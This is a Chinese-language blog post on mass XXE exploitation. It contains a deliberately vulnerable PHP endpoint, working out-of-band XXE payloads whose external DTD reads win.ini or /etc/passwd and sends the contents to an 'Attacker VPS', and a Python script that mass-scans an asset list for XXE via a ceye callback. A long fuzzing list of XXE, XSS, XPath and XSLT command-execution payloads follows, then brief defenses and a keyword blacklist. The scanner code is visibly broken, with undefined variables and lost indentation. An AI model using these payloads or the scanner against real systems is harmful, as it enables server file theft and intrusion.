总结下这几天批量xxe遇到的坑

首先先把环境搭建起来

xml.php

1
2
3
4
5
6
7
8
9
10
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

?>

使用的payload如下(测试成功的)

burp xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://Attacker VPS:9000/test.dtd">
%remote;%int;%send;
]>

VPS dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://Attacker VPS:9000/?p=%file;'>">

在测试成功之前遇到各种问题,下面总结下常见的坑

  1. simplexml_load_file函数

libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

  1. entity嵌套的时候不能用百分号!!!

之前使用的payload是这样的

1
2
3
4
5
6
7
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://Attacker vps:9000/linuxtest.dtd">
%remote;%int;%send;
]>

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://Attacker vps:9999?p=%file;'>">

然后报错如下

一直没有回显,我原来一直以为是要写成通用实体才能xxe成功,因为用下面payload,在ceye上可以收到回显

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx.ceye.io/xxe_test">
%remote;]>
<root/>

后面才知道是%造成报错,如果直接利用%,在引用的时候会导致找不到该参数实体名称。

把payload改成如下

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://Attacker VPS:9000/?p=%file;'>">

然后burp发送就回显了

如果服务器是windows dtd读取的是linux下的文件会报错

payload

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://Attacker VPS:9000/?p=%file;'>">

  1. 批量的时候靶机无回显

可能因为网站是java写的,采用file协议获取失败。有表哥要是知道java xxe如何利用的话还请跟我讲讲

放上批量脚本(之前测试用的,不太精确,ceye api不能监控到具体网址存在xxe,望师傅们给点建议)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
# @Author: Wh0ale
# @Date: 2019-05-07 18:59:09
# @Last Modified time: 2019-05-08 11:41:41
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
def xxeceye(url):
ceyepayload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxxxx.ceye.io/xxe_test">
%remote;]>
<root/>"""

headers = {
'Content-Type': 'application/xml',
'Cache-Control': 'no-cache',
'Referer': '',
'Cookie': 'a=b',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36'
}
try:
a = requests.post(url=url, headers=headers,verify=False,timeout=5, data=ceyepayload).text.encode('utf-8')
except:
print('%s连接超时'%url)
# html = a.encode('utf-8')
print('此次检测网址为: %s'%url)

files = open('资产.txt','r').readlines()

for file in files:
file = file.strip()
xxeceye(file)

httpapi = "http://api.ceye.io/v1/records?token=bb75fd********9527dc&type=http"
html1 = requests.get(httpapi).text

if html1:
if 'xxe_test' in html1 or 'xxe_test' in html2:
print('[xxe]: %s'%url)
else:
return False

附上xxe fuzzing字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
<?xml version="1.0" encoding="ISO-8859-1"?><test></test>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com:80" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example:443" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>
<test></test>
<![CDATA[<test></test>]]>
&foo;
%foo;
count(/child::node())
x' or name()='username' or 'x'='y
<name>','')); phpinfo(); exit;/*</name>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
<foo><![CDATA[' or 1=1 or ''=']]></foo>
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
<xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xml SRC="xsstest.xml" ID=I></xml>
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><script>alert(123)</script></xsl:template></xsl:stylesheet>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:copy-of select="document('/etc/passwd')"/></xsl:template></xsl:stylesheet>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('passthru','ls -la')"/></xsl:template></xsl:stylesheet>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://127.0.0.1:80/?%file;'>  "> %int;
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>

防御方法:

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:

1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

参考:

https://www.lhaihai.wang/post/xxe%E6%BC%8F%E6%B4%9E%E7%90%86%E8%A7%A3%E4%B8%8E%E6%B5%8B%E8%AF%95/#%E4%B8%BA%E4%BD%95%E4%B8%80%E7%9B%B4%E5%A4%8D%E7%8E%B0%E4%B8%8D%E6%88%90%E5%8A%9F

https://security.tencent.com/index.php/blog/msg/69

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://www.cnblogs.com/zhaijiahui/p/9147595.html

-------------本文结束感谢您的阅读-------------